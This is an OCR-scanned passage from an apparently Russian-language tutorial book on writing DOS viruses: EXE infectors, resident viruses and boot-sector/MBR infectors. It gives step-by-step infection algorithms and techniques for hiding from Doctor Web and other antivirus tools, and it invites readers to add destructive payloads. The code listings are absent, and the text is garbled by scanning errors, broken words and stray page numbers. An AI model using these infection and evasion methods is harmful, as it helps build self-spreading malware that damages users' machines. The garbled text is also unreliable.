ы, вероятно, уже поняли, что каждая новая программа составляется нами из анее разработанных блоков, как из конструктора. Это сильно упрощает работу и соращает время на составление программ. Было бы странно не воспользоваться готоими фрагментами и заново преодолевать все трудности/ Вместе с тем, использованный фрагмент пришлось несколько модифициро вать, чтобы он смог правильно работать в новой программе. Первое внесенное изме нение состоит в дублировании исходных значений заголовка программы, из которой стартовал вирус. В комментариях рассказано, зачем это потребовалось. Следующее изменение вызвано тем, что ЕХЕ-файл может быть длиннее 64 Кбайт. Поэтому для установки указателя на последний байт файла недостаточно просто вычесть едини цу из его размера. Например, пусть длина файла равна lOOOOh байт. В этом случае из )ТА будут считаны такие числа: CX=000Ih и DX~0000h (см. выше). Теперь для об ращения к последнему элементу файла из пары СХ: DX следует вычесть " 1 " . Если просто вычесть единицу из DX, то мы получим следующее*. СХ = OOOlh, DX = OFFFFh, то есть полностью абсурдное значение. Чтобы такого не происходило, нуж но применить команду "вычитание с заемом", которая будет отнимать от СХ значе ние флага переноса CF — "ноль" или "один". И последнее — вместо непосредственной установки указателя мы будем про сто вызывать процедуру "setpointer", текст которой несложен и рассматривается в конце главы.
Читаем заголовок файла Наш ЕХЕ-вирус должен получать управление при старте зараженного файла. С этой целью он может модифицировать заголовок файла. Проще всего будет считать заголовок найденной ЕХЕ-программы с диска, после чего сделать необходимые изме нения и записать его обратно на диск. А так как предыдущий фрагмент вирусной про граммы уже нашел подходящий ЕХЕ — файл, самое время прочитать его заголовок:
141
Разработка нерезидентной вирусной ЕХЕ-программы
Работа фрагмента довольно проста и пояснений не требует.
Производим необходимые вычисления Теперь наша задача состоит в следующем: Используя числа, полученные из заголовка и некоторые вспомогательные данные, рассчитать новые параметры заго ловка ЕХЕ-программы. Напомним, что необходимо найти: Новые значения CSO, IPO, SS0 и SP0 Новый остаток от деления размера загрузочного модуля на 512 Новый размер файла в 512-ти байтовых страницах, округленный в большую сторону. Кроме того, следует найти такое значение указателя, которое обеспечило бы запись вирусного кода в' конец файла. Это значение будет исходным для процедуры "setpointer", которая предназначена для установки указателя в файле. Перед началом вычислений вирус должен "запомнить" исходные параметры заголовка, чтобы можно было использовать их для расчета правильной точки входа и переключения стека с области данных вируса на стек зараженной программы при передаче ей управления:
После этого можно приступить к вычислениям. Но сначала следует привести принятые для расчета формулы. Обозначим: Остаток от деления размера загрузочного модуля на 512 — Исходный: при вычислениях не используется Вычисленный в результате коррекции (в дальнейшем — "вычисленный"): Header [02h]
142
144
Разработка нерезидентной вирусной ЕХЕ-программы ченный из заголовка по смещению 04h с размером, считанным из DTA. Верным при знаком присутствия внутренних оверлеев является следующий факт: Размер, полученный из DTA больше значения, вычисленного по параметрам заголовка. Заражать "оверлейный" файл по принятому нами алгоритму нельзя, и наш вирус при обнаружении такого файла просто попробует найти другую ЕХЕ-программу. Сам алгоритм заражения оверлейных файлов отличается высокой сложностью и ненадежностью и в данном пособии не рассматривается. Стоит заметить, что далеко не все вирусы корректно работают с такими файлами, а многие просто их портят.
Заражаем ЕХЕ-программу После того, как скорректирован заголовок файла, можно его заразить. Напом ним, что при заражении вирус должен перезаписать на диск модифицированный заИголовок, после чего поместить свой код в конец файла-жертвы:
Строго говоря, код вируса записывается не за последним байтом файла. Это имеет место только когда размер файла кратен 512. Во всех остальных случаях вирус ный код помещается в файл по смещению, определяемому размером файла в 5\2-тн байтовых страницах. Конечно, число страниц округляется в большую сторону. Напри мер, при размере файла в 1025 байт вирус будет считать, что его длина составляет три полных страницы, а при размере в 4096 байт — всего восемь! Такая система сильно упрощает процесс создания вирусной программы и ее отладку.
Восстанавливаем DTA Итак, вирус выполнил свою работу — найден и заражен подходящий ЕХЕфайл. Дальше необходимо переключить DTA с области данных вируса на область в PSP программы, из которой он стартовал. Поскольку начальный сегмент программы
145
Разработка нерезидентной вирусной ЕХЕ-программы известен ( он хранится в регистре ES, которым мы не пользовались ), несложно най ти адрес исходной DTA. Он равен ES: 80h. И поэтому:
В этом фрагменте адрес DTA устанавливается с помощью функции DOS 1 Ah. Новый адрес должен быть помещен в DS: DX, что мы и сделали. Команда "push ds" записывает в стек содержимое регистра DS, так как этот регистр используется для за дания адреса, и поэтому его значение будет испорчено.
Восстанавливаем точку входа Далее необходимо передать управление зараженной программе (конечно, не только что зараженной, а той, из которой стартовал вирус). Для этого нужно восста новить ее исходную точку входа, а также переключить стек с вирусной области дан ных на стек, предусмотренный разработчиком программы. Чтобы произвести все необходимые вычисления, мы используем параметры заголовка программы, сохраненные ранее в ячейках "ту_ХХ". При передаче управления на код вируса в регистр CS было помещено такое значение: CS=NS0+10h+Header[16h], и это значение нам известно — оно сейчас на ходится в CS. С другой стороны, настоящая точка входа ЕХЕ-программы имеет сег ментный адрес CS=NS0-H0h+my_cs. Таким образом, достаточно узнать, чему равна сумма: NS0+10h, и прибавить к ней "my_cs". Такая же ситуация возникает и при вос становлении регистра SS, только здесь к NS0+10h нужно прибавить "my_ss". Проще всего восстановить регистр DS, поскольку при загрузке ЕХЕ файла соблюдается ус ловие: ES-DS=NS0. Для инициализации SP и IP можно просто записать в них числа, хранящиеся в переменных "my_sp" и "my_jp", не производя при этом каких-либо сложных расчетов. С учетом этих соображений можно записать:
146
Разработка нерезидентной вирусной ЕХЕ-программы
sui
151
Разработка нерезидентной вирусной ЕХЕ-программы
Несколько слов об испытании вируса В принципе, процесс испытания созданного вируса ничем не отличается от ранее рассмотренного. Обращаю внимание читателей только на одну деталь: Отлад чик AFDRUS. СОМ корректно работает только с неупакованными ЕХЕ-файлами. Если вы попытаетесь с его помощью отладить ЕХЕ-программу, упакованную какойлибо утилитой сжатия (например, DIET, LZ_ EXE или PKL1TE), то из этого ничего не получится. Конечно, программа не испортится, но результаты работы отладчика удут неверными. Для отладки упакованных программ можно воспользоваться TURBO DEBUGGER фирмы BORLAND INTERNATIONAL, но еще лучше распакоать такую программу и применить отладчик попроще. Если в программе есть команды, изменяющие SS и SP, то при "прохождении е AFD_RUS. COM результаты работы отладчика могут быть совершенно неожидан ыми. Это происходит потому, что указанный отладчик использует стек исследуемой им программы. Все только что отмеченные недостатки AFD_UIKH НИ В коей мере не дают еде лать вывод, что этот отладчик плохой. Наоборот, он во многих отношениях значи ельно превосходит даже TURBO DEBUGGER. Возможностей AFDRUS вполне достаточно при отладке примерно 95% программ.
153
Разработка резидентной вирусной ЕХЕ-программы
Разработка резидентной вирусной ЕХЕ-программы Алгоритм работы резидентного ЕХЕ-вируса Для начала рассмотрим алгоритм работы резидентного вируса, заражающего ЕХЕ-файлы. Он очень похож на соответствующий алгоритм для СОМ-вируса, поэто му подробно рассматриваться не будет: Секция инициализации выполняет следующие действия: 1. Получает управление при запуске зараженной программы. 2. Проверяет, установлена ли в память резидентная часть вируса. 3. Если резидентная часть не установлена, выполняются следующие действия: а). Отыскивается свободный блок памяти достаточного для размещения вируса размера, б). Код вируса копируется в найденный блок памяти. в). В таблице векторов прерываний соответствующие вектора заменяются точка ми входа в вирусные обработчики, г). Определяются значения CS, IP, SS и SP, необходимые для правильной работы программы , из которой стартовал вирус. д). Управление передается зараженной программе. Для этого вирус использует команду безусловного дальнего перехода или возврата из дальней процедуры. Адрес перехода задается вычисленными CS и IP. После этого начинается обычное выполнение программы. В том случае, если резидентная часть вируса уже находится в памяти, он про сто выполняет действия перечисленные в п.п. "Г" и "Д". Резидентная часть работает по такому "сценарию": 1. Анализирует все вызовы системного прерывания INT 21h с целью выявить персход оператора в новый каталог или смену текущего диска. 2. Если обнаружится смена текущего диска или каталога, резидентная часть должна: а). б). в). г).
Сохранить исходное состояние вычислительной системы, Найти на диске подходящий ЕХЕ-файл. Записать вирусный код в конец этого файла, Скорректировать заголовок файла.
д). Восстановить исходное состояние вычислительной системы и передать ей управление. ') : Как и в случае с СО М-вирус ом, заражение файлов выполняет только рези дентная часть. Вредные действия можно "возложить" как на резидентную, так и на транзитную часть (на транзитную — проще, а на резидентную — обычно сложнее).
154
Разработка резидентной вирусной ЕХЕ-программы
Реализуем предложенный алгоритм Как мы договорились, сначала следует найти PSP первой загруженной в па мять программы. Это можно сделать следующим образом:
Напомним, что PSP располагается в памяти сразу вслед за МСВ-блоком, вы деленным операционной системой для загрузки программы, а первым байтом PSP •'Должно быть число OCDh, что и используется в приведенном фрагменте. Дополнительно следует рассмотреть следующую ситуацию: обычно первым PSP в памяти является PSP командного процессора COMMAND. COM. Но при неко торых конфигурациях операционной системы (например, при использовании WIN-
155
Разработка резидентной вирусной ЕХЕ-программы DOWS 95 в режиме эмуляции MS DOS) это правило иногда не соблюдается. Может случиться так, что первой в файле AUTOEXEC. BAT для загрузки указана нерези дентная ЕХЕ-программа, зараженная нашим вирусом. При старте этой программы вирус фактически отыщет ее же PSP и запишет туда текст промежуточного обработ чика INT 2 Ih. Далее программа нерезидентно завершится, после чего занимаемая ею память будет использована другими программами, поэтому наш промежуточный об работчик будет затерт, и компьютер обязательно повиснет. Чтобы этого не произош ло, вирус проверяет, какой именно PSP был найден первым, и если имела место описанная выше ситуация, отказывается от заражения памяти. В остальном работа фрагмента ясна.
Пишем промежуточный обработчик Теперь следует написать " промежуточный " обработчик прерывания INT 21h, который должен вызывать системный или вирусный обработчики данного прерыва ния в зависимости от режима работы процессора. Эту задачу можно решить, напри мер, так:
Данный фрагмент написан настолько просто, что никаких пояснений по по воду его работы не требуется.
Защита от обнаружения вируса в файле Защитить вирус от обнаружения в файле намного проще, чем в памяти. Достаточно только зашифровать маску для поиска ЕХЕ-программ (*.ехе), и вирус обна-
156
Разработка резидентной вирусной ЕХЕ-программы ружен не будет. Естественно, перед поиском файла — жертвы, маска должна быть расшифрована, а в зараженном файле присутствовать в зашифрованном виде. Для решения этой задачи был предложен такой алгоритм: маска расшифровы вается вирусной копией, находящейся в памяти, непосредственно перед поиском ЕХЕ-файла, а при записи вирусного кода в файдснова шифруется. Вряд ли DOCTOR WEB станет устанавливать резидентный вирус в память, а потом еще и проверять, как он работает. А при простом просмотре или даже прохождении зараженной про граммы отладчиком можно увидеть только закодированную маску.
Несколько слов о вредных действиях вирусной программы Вирус, как правило, для того и пишется, чтобы кому-то навредить или пошу тить над пользователями. Поэтому естественно было бы включить в него какие-ни будь действия, мешающие нормальной работе операторов компьютеров. Конечно, здесь существует огромная свобода: от тривиальной блокировки клавиатуры до "осыпания" букв с экрана или форматирования винчестера. Многие вирусы вообще содержат серьезные ошибки, из-за которых зараженная система может перестать ра ботать, поэтому что-нибудь более неприятное придумать непросто. Поскольку книга носит учебный характер, мы не будем развивать "вредитель скую" тему, я вообще против деструктивных функций в вирусах, это по-вандальски, а вместо этого предоставим нашим читателям возможность творчески подойти к за даче. Можете не огорчаться — встроить в вирусную программу вредное действие на порядок проще, чем создать эту программу. Учтите только, что изготовление виру сов — дело очень неблагодарное, и без должной конспирации способно принести са мому "писателю" массу неприятностей. Сами вирусы (особенно чужие) — иногда довольно неприятная штука, хотя эта тема очень интересна.
Полный текст резидентного ЕХЕ-вируса Как я уже говорил, эта программа является просто итогом всех предыдущих и фактически составлена из их частей. Поэтому больше объяснять, вероятно, нечего. Последний штрих — приведем полный текст разработанного нами резидентного ЕХЕ-вируса:
Разработка резидентной вирусной ЕХЕ-программы
168
Разработка резидентной вирусной ЕХЕ-программы
Как видите, в вирусе приняты определенные меры для того, чтобы он не смог заразить антивирусные программы. Дело в том, что все (или почти все) антивирусы при запуске проверяют себя на зараженность, и при обнаружении изменений своего кода выдают соответствующее сообщение. Поэтому вирус проверяет, содержатся ли в имени найденного файла такие фрагменты:
I
Для проверки используется разработанная ранее процедура SEARCH. Если найденный файл действительно является антивирусной программой, наш вирус отказывается от попытки заразить его. Как вы заметили, в вирусе отсутствуют об работчики Int 13h и Int 2Fh. Так сделано потому, что предлагаемая программа отлич но работает без какой-бы то ни было "фильтрации" прерывания Int 13h. Проверка повторной загрузки возложена на обработчик Int 28h, по этой причине прерывание Int 2Fh перехватывать не нужно.
Способ оседания вируса в памяти Глуп тот человек, кто учится на ЧУЖИХ ошибках (тут нет опечаток). Нужно максимально полагаться на собственный опыт, прибегая к чужому лишь в случае крайней нужды. Учиться у других надо, это безусловно. Но нельзя забывать, что для человека главное авторитет — свое сознание. Но даже подражание иногда идет на пользу. И в программировании тоже. Ни же приведен немножечко покусанный фрагмент вируса Antiwin, который, не желая обманывать DOS при захвате себе кусочка оперативной памяти, предпочитает обма нуть своего лучшего друга и кормильца — файл, в котором он живет. Antiwin (он ведь тоже живой, как и всякий другой компьютерный вирус!) делает это с болью в своей слабозашифрованной, и поэтому легкоранимой, душе, но долг, как известно, прежде всего. Он пытается подражать (вымирающему уже) DOS'y и самостоятельно запускать из себя кормильца ™ и да не узнает оный про грешное существование на ше! А жить хочется, ох как хочется...
169
Разработка загрузочной вирусной программы
Разработка загрузочной вирусной программы Краткие сведения о начальной загрузке персонального компьютера Для начала следует сказать несколько слов о том, как происходит начальная за грузка ЭВМ. После проверки аппаратной части компьютера и заполнения таблицы век торов прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны диска в дисководе "А". Этот сектор помещается в память по адресу 0000:7C00h, после чего на указанный адрес передается управление. В прочитанном секторе содержится программа начальной загрузки (ВООТ-запись) и некоторые другие сведения, необходимые для доступа к данным на диске. Программа начальной загруз ки проверяет, является ли диск системным. Если это так, то загрузка операционной си стемы с диска продолжается, а если нет, то на экран выводится сообщение: Non system disk or disk e r r o r Replace and p r e s s any key when ready . После чего система ожидает действий оператора. Если же диск в "А" — дис ководе отсутствует, то программа BIOS считывает первый сектор нулевой дорожки нулевой стороны первого жесткого диска. Он также помещается в память по адресу 0000: 7C00h, после чего по указанному адресу передается управление. В прочитанном секторе на жестком диске записана так называемая MBR (главная загрузочная запись). MBR является программой, которая определяет активный раздел жесткого диска, счи тывает загрузочную запись (ВООТ-запись) этого раздела в оперативную память и от дает ей управление. Дальше все происходит, как при загрузке системы с гибкого диска. Как видим, процесс загрузки с винчестера является как бы двухступенчатым. Если же программа MBR не нашла активный раздел, то выдается сообщение об отсутствии загрузочных устройств, и система останавливается. В некоторых ста рых машинах при невозможности запустить операционную систему загружался ин терпретатор языка БЕЙСИК, записанный в микросхемах ПЗУ. Однако новые модели компьютеров не содержат встроенного интерпретатора и не используют его.
Понятие о загрузочных вирусах Загрузочными называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков и получающие управление при попытке "запустить" опера ционную систему с зараженного диска. Можно выделить следующие основные разновидности вирусных программ указанного типа: 1. Заражающие ВООТ-сектора гибких дисков. 2. Заражающие ВООТ-запись активного раздела жесткого диска и ВООТ-сектора гибких дисков.
173
Разработка загрузочной вирусной программы 3. Заражающие MBR (Master Boot Record) жесткого диска ВООТ-сектора гибких дисков. Отметим, что заражение ВООТ-секторов дискет является обязательным, ина че вирус просто не сможет распространяться. Кроме того, почти все загрузочные вирусы являются резидентными, что объ ясняется спецификой их работы. Нерезидентный вирус смог бы размножаться толь ко в том случае, если при загрузке с диска "А" из дисковода "В" забыли вытащить дискету, или при загрузке с зараженного винчестера диск находится в одном из дис ководов. Очевидно, что при таком алгоритме работы вирус размножался бы очень медленно, и его создание было бы просто бессмысленным. Большое распростране ние получили также файлово-загрузочные вирусы, которые могут заражать файлы типов ЕХЕ, СОМ а иногда и другие. Ярким представителем этой разновидности можно считать ONEHALF, который может заражать ЕХЕ и СОМ-файлы. Файлово-за грузочные вирусы являются более заразными, чем файловые. Создать такой вирус также сложнее.
Алгоритм работы загрузочного вируса Несмотря на огромное разнообразие загрузочных вирусных программ, алго ритмы их работы незначительно отличаются друг от друга. В этом пункте мы рас смотрим одну из возможных реализаций такого алгоритма. Только сначала условимся, что наш вирус будет заражать загрузочные сектора гибких дисков и MBR (Master Boot Record) первого жесткого диска. Поэтому можно предложить сле дующий "план работы": Попав при начальной загрузке машины в память по адресу 0O00:7C00h, вирус должен выполнить такие действия: 1. Установить регистры SS и SP на собственный стек. 2. "Отрезать" у системы несколько килобайтов памяти (сколько именно зависит от длины вирусного кода). 3. Переписать свой код в полученную область (кстати, она будет находиться в старших адресах основной памяти). 4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти. Эта секция, в свою очередь, должна: 1. Переопределить вектор прерывания Int 13h на вирусный код. 2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h. 3. Проверить, заражен ли винчестер. Если нет, то заразить его MBR. 4. Передать управление настоящему загрузочному сектору, находящемуся по адресу
1
0000:7COOh. Далее загрузка ОС выполняется, как обычно. Когда система будет загружена, вирус должен заняться заражением ВООТ-
секторов дискет. С этой целью он выполняет такие действия:
174
Разработка загрузочной вирусной программы При чтении секторов с номерами 2...N нулевой дорожки нулевой стороны диска "А" проверяет BOOT этого диска на зараженность. Если диск еще не инфицирован — заражает его. Передает управление системному обработчику Int 13h. Под заражением понимают запись вирусного кода в ВООТ-сектор дискеты или в MBR винчестера. Понятно, что при загрузке с винчестера проверять его на за раженность бессмысленно. И, тем не менее, наш вирус делает это, так как отключить проверку жесткого диска не так просто, как это может показаться. Кроме f ого, она выполняется очень быстро и поэтому совершенно не ощущается пользователем. На первый взгляд, приведенный алгоритм кажется довольно сложным. Тем не менее, его достаточно просто реализовать, в чем вы скоро убедитесь. Хотелось бы сказать о том, какой должна быть максимальная длина вирусного кода. Если мы хо тим поместить вирус в загрузочный сектор целиком, следует учесть два момента. Собственно программа загрузки в MBR занимает не более, чем 446 байт. Программа загрузки в ВООТ-секторе дискеты имеет разный размер в разных версиях DOS. В самом "предельном" случае она начинается со смещения 0055h от носительно начала сектора. Два последних байта BOOT и MBR содержат код: 55AAh. Если его затереть, система перестанет загружаться с испорченного таким об разом диска. Некоторые вирусы используют этот прием для приведения дискеты или винчестера в "частично нерабочее" состояние. Отсюда следует очевидный вывод — размер кода вируса не может превы шать: 200h-55h-02h= =lA9h=425 байт! Если вы не выйдете за эту границу, обраще ние к диску будет происходить корректно. Кроме того, даже NORTON DISK DOCTOR не будет замечать изменений программы загрузки в ВООТ-секторе диске ты или MBR винчестера, что, согласитесь, очень важно. Как начинается распространение вируса? В отличие от файловых вирусов, для внедрения загрузочного вируса в ком пьютер достаточно просто попробовать загрузиться с зараженной дискеты, при этом дискета не обязательно должна быть загрузочной. В этом состоит особенность виру сов этого типа. Итак, чтобы вирус начал распространяться, достаточно заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной машине.
Начало работы Как и прежде, будем разрабатывать загрузочный вирус в виде СОМ-программы. Поэтому:
I
175
Разработка загрузочной вирусной программы
Вирус получает управление Как вы уже знаете, загрузочный вирус получает управление только при за грузке операционной системы. Далее он должен "отрезать" у DOS несколько кило байтов памяти и переписать свой код в полученную область. Для выполнения этих функций можно предложить такой фрагмент:
Поскольку операционная система к моменту начала выполнения этого фраг мента еще не загружена, "увести" у вычислительной системы два килобайта памяти не представляет никакого труда. Для этого просто следует уменьшить на два число, расположенное в области данных BIOS по адресу: 0000:0413h. Загрузившись, опера ционная система просто не будет замечать занятую вирусом память. Даже такие про граммы, как RELEASE или Volkov Commander (нажмите ALT+F5) не помогут обнаружить, где именно "притаился" вирус (правда, это не так трудно рассчитать, но для рядового "юзера" такая задача непосильна). Машинный код
176
Разработка загрузочной вирусной программы
Дело в том, что в MBR жесткого диска тело вируса располагается по смеще нию OOOOh от начала сектора, а в ВООТ-записи дискеты это же смещение равно 0055h. При заражении того или иного диска вирус определяет необходимое значение поля "additor", которое потом будет записано в загрузочный сектор. Команда "ret far" для краткости записана в виде машинного кода OCBh. Идея установки собственного стека заимствована из настоящей MBR жестко го диска. Если оставить стек "как есть", то в некоторых случаях система будет зави сать при загрузке — проверено на практике!
Защита от антивирусных программ В настоящее время существует только одна распространенная антивирусная программа, с которой следует считаться при разработке нового вируса. Это всем из вестный DOCTOR WEB. Благодаря довольно совершенному алгоритму эвристичес кого анализа, DOCTOR WEB способен обнаружить новый вирус не только в файлах, но и в загрузочных секторах гибких и жестких дисков компьютера. В предыдущей главе мы рассмотрели, как можно скрыть присутствие вирусных кодов в файлах и оперативной памяти ЭВМ. Теперь, вероятно, следует рассказать, как решается зада ча маскировки загрузочного вируса. После нескольких дней экспериментов было установлено, что при поиске не известных загрузочных вирусов DOCTOR WEB пытается определить факт перехва та прерывания )NT 13h, при этом антивирус даже не пробует пройти встроенным отладчиком подозрительную BOOT или MBR. Если, по мнению программы, INT 13h было перехвачено, выдается сообщение о возможном наличии в вашем компьютере неизвестного загрузочного вируса. Отсюда следует очевидный вывод: команду, зада ющую адрес в таблице векторов прерываний или выполняющую модификацию век тора INT I3h, следует зашифровать, и вирус найден не будет.' Однако сделать корректный шифровщик, хорошо работающий на любом про цессоре, не так просто. Поэтому задача была решена следующим образом:
177
Разработка загрузочной вирусной программы
Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа "to_read_boot" задает смещение от начала вирусного кода до метки "read^boot", с которой и начинается код, выполня ющий переопределение вектора Int 13h на вирусный обработчик. Дополнительных пояснений работа фрагмента не требует.
Читаем исходную ВООТ-запись Сначала договоримся, где наш вирус будет хранить настоящую загрузочную запись (BOOT — для дискет или MBR — для жестких дисков). Обычно на нулевой дорожке нулевой стороны винчестера используется толь ко самый первый сектор, а остальные свободны. Поэтому было бы естественно со хранить MBR в одном из секторов нулевой дорожки. Нас заинтересовал сектор с номером 12, но можно было бы взять и любой другой. Только не следует выбирать сектора с очень большими номерами. Может случиться так, что, например сектора с номером 100 на диске просто не существует (особенно это относится к старым нако пителям). Оптимальный номер — не выше двадцати. Для дискет оригинальную ВООТ-запись лучше всего записывать в последний сектор последней дорожки на первой стороне заражаемого диска.
178
Разработка
загрузочной
вирусной программы
Разработка загрузочной вирусной программы
Как вы видите, вирус достаточно свободно "чувствует" себя в памяти. В са мом деле — свой код он записывает в младшие 512 байт первого "отрезанного" у DOS килобайта, a MBR винчестера считывает в младшие 512 байт второго килобай та. Так сделано для большей понятности программы и облегчения программирова ния, но один килобайт памяти фактически тратится впустую (что с некоторой натяжкой можно отнести к вредным действиям нашего вируса). Процедура "readjnbr" читает сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr" записывает данные из буфера по адресу: CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска. Процедура "write_mbr_last" записывает данные из буфера по адресу: CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти: num_head и cyl_sect. Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода — числом 33h. Далее, в поле "additor" заносится число 00h, необходимое для корректной за грузки с винчестера. Стоит отметить, что заражение MBR происходит исключитель но при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет инфицировать только гибкие диски при попытке прочитать их содержи мое. А поскольку никому не придет в голову менять жесткие диски во включенной в сеть и работающей машине, нет смысла предусматривать заражение MBR в резидент ном режиме. Если же попробовать проделать вышеописанную процедуру, то компью тер с высокой вероятностью выйдет из строя, и вирус "погибнет" вместе с ним.
Пишем обработчик прерывания Int 13h Наконец все подготовительные действия завершены, и мы можем заняться разработкой вирусного обработчика прерывания Int 13h. Именно этот обработчик должен отслеживать операции с гибкими дисками и при необходимости заражать их.
180
Разработка загрузочной вирусной программы Начнем с выяснения условий, при которых вирус должен будет заразить ООТ-сектор дискеты. Пусть заражение будет выполняться в том случае, если просходит чтение любого сектора нулевой дорожки нулевой стороны, кроме первого, [сходя из этого, можно записать:
Обратите внимание, что при чтении секторов 2...N нулевой дорожки нулевой стороны дискеты управление передается процедуре "boot_mfect", которая занимает ся заражением гибких дисков. Если бы заражение происходило при чтении любого сектора, то на зараженной машине все операции с дисководом выполнялись бы раз дражающе медленно. Для передачи управления системному обработчику Int 13h используется обычная команда далекого перехода, записанная в виде машинной инструкции. Теперь разработаем процедуру "boot_infect", заражающую дискеты. Естествен но сделать ее по аналогии с фрагментом, который "работает" с винчестером. Поэтому:
Разработка загрузочной вирусной программы
Как вы успели заметить, текст процедуры очень похож на текст фрагмента, который будет заражать жесткий диск. Небольшие отличия связаны со спецификой работы дисковода и винчестера. Дело в том, что жесткий диск вращается непрерыв но (за исключением некоторых новых систем с режимом экономии электроэнергии), а двигатель дисковода запускается только при закрытии его флажка (если быть точ ным, это зависит от конструкции дисковода). Поэтому, если двигатель дисковода к моменту выполнения операции чтения не набрал необходимую скорость, BIOS вер нет ошибку и сообщит, что дискета сменена. В этом случае рекомендуется повторить чтение, предварительно сбросив накопитель. Наш вирус повторяет попытку чтения три раза, после чего в случае неудачи отказывается от заражения такого диска. Несколько раньше мы выяснили, что для разных версий MS DOS и WIN DOWS программа начальной загрузки в ВООТ-секторе дискеты располагается по разным смещениям. Сделано это по той причине, что старшие версии операционной системы хранят в загрузочном секторе более подробные сведения о диске. Наиболь шим смещением, с которым вы когда-либо можете встретиться, является 0055h. По этому наш вирус будет помещать в ВООТ-сектор свой код, ориентируясь именно на приведенное значение. Тогда в первые два байта сектора должна быть записана команда перехода на начало этого кода, а именно: "ЕВ 53". И последнее — вирус определяет параметры заражаемой дискеты исходя из ее Media Descryptor. Сам Descryptor содержится в ВООТ-секторе любой дискеты и вместе с некоторыми другими параметрами однозначно задает ее тип.
Используемые процедуры Фактически вирус уже изготовлен. Осталось лишь привести тексты проце дур, которые он будет использовать в своей работе:
183
Разработка загрузочной вирусной программы
Процедуры построены очень просто, и объяснять их работу, скорее всего, нет смысла. Отметим только, что все вызовы Int 13h оформлены в виде вызова дальней процедуры. Это необходимо для предотвращения потенциальных "глюков", связан ных с нереентерабельностью программ, выполняющих обработку Int 13h. Хотя такой метод несколько увеличивает размер вирусного кода.
Область данных вируса В отличие от предыдущих программ, область данных написанного нами за грузочного вируса имеет на удивление простую структуру:
Вы можете спросить, почему для имени вируса отведено всего четыре байта. Дело в том, что наш вирус получился довольно большим (421 байт — можете прове рить!). Несколько раньше мы выяснили, что этот размер не может быть больше, чем 425 байт. А 425-421 как раз равно четырем...
Пишем секцию инсталляции Очевидно, в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить в систему. Поэтому для облегчения этой "вредительской" операции напишем специальный инсталлятор. Его функция состоит в следующем: при старте запускающей программы из командной строки или из-под оболочки заразить диск в дисководе "А". Причем диск совсем не обязательно должен быть загрузочным. Далее
184
Разработка загрузочной еирусной программы
Комментарии Вирус, который мы разработали в этой главе,.заражает ВООТ-сектора дис кет и MBR жесткого диска. Как вы убедились, написать загрузочный вирус совсем несложно — гораздо легче, чем, скажем, файловый. Тем не менее я настоятельно рекомендую читателям попробовать "поймать" один из существующих загрузоч ных вирусов и исследовать его работу. Для начинающих можно порекомендовать FORM или KONSTANTIN . Если же вы достаточно опытный вирусолог, то можете помериться силами с ONEHALF или другим шифрованным вирусом. Правда учти те, что экспериментировать с чужими вирусными программами надо осторожно — некоторые из них при трассировке вирусного кода могут испортить "винчестер" ва шего компьютера.
Испытание вируса Для проверки в действии загрузочного вируса достаточно загрузиться с за раженного магнитного диска. Понаблюдайте, как вирус заражает дискеты и в ка ких случаях. Попробуйте найти в памяти вирусный код, а найдя — пройдите его отладчиком.
192
Разработка загрузочной вирусной программы уже заражена и нет смысла заражать все файлы на ней, необходимо распространять ся на другие машины — через дискеты. Возьмите на заметку! Скрывает свою длину, за исключением проверки CHKDSK. Значение Total Memory в Norton'e уменьшается. При шифровании диска счет чик зашифрованных дорожек хранится в MBR и обновляется при каждой загрузке, что существенно демаскирует вирус — он может стать жертвой ADinf а или Virus Warning'a в BlOS'e. Virus Warning не снимает. Можно долго рассказывать об OneHaff, но предлагаю вам один раз увидеть. Я уверен, вы получите массу удовольствия, читая откомментированный листинг этого высокопрофессионально написанного вируса. Данный листинг можно назвать крат кой энциклопедией вирмэйкера: процедуры трассировки прерывания, обслуживания зашифрованных секторов, работы с диском, проверки типа диска, обслуживание по садки в память, получение случайного числа и многое, многое другое. Приносим извинения за возможные мелкие неточности в коде. 4- Листинг не подлежит рекомпиляции. 4 Листинг начинается с основной части, 10 пятен, в которых содержится полиморф ная процедура расшифровщика.
МСЕ-3544 (ONEHALF)
203
204
210
211
ВООТ-вирус с нестандартным алгоритмом активизации Анализ традиционного алгоритма работы загрузочного вируса Как вы, вероятно, знаете, почти все загрузочные вирусы перехватывают Int 13h и заражают гибкие диски при попытке чтения или записи их содержимого через это прерывание. Но, оказывается, такой метод имеет один серьезный недостаток: при работе под WINDOWS вирус отказывается инфицировать загрузочные сектора дис кет. С целью выяснить причины этого явления г-н Коваль провел множество экспе риментов, которые дали следующий результат: При чтении или записи гибких дисков WINDOWS не вызывает Int 13h, а вза имодействует непосредственно с контролером дисковода, работая с его портами вво да — вывода. Ясно, что при таком методе работы наш вирус никогда не получит управле ния, а будет просто присутствовать в памяти. Таким образом, с помощью старых ме тодов заставить ВООТ-вирус нормально работать под WINDOWS, скорее всего, не удастся. Необходим совершенно новый подход. Но об этом — в следующем пункте. Следует заметить, что при работе с жестким диском WINDOWS все же вызы вает Int 13h, что следует из проведенных автором экспериментов.
Разрабатываем новый алгоритм активизации Легче всего сказать, что подход должен быть новым. Труднее предложить что-то по существу. Были придуманы несколько методик, но все они не дали положи тельного результата. И тут автор неожиданно получил очень своеобразное предложе ние — вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему бы нам не перехватить Int 21h, и не попробовать проследить за сменой теку щего диска (функция 0Еп).И как только активным станет дисковод "А" или "В", за разить диск в этом дисководе!!! Просто и со вкусом ( идея Danny Dio, за что ему — благодарность ). А мы продолжаем.
234
Разработка
загрузочной
вирусной
программы
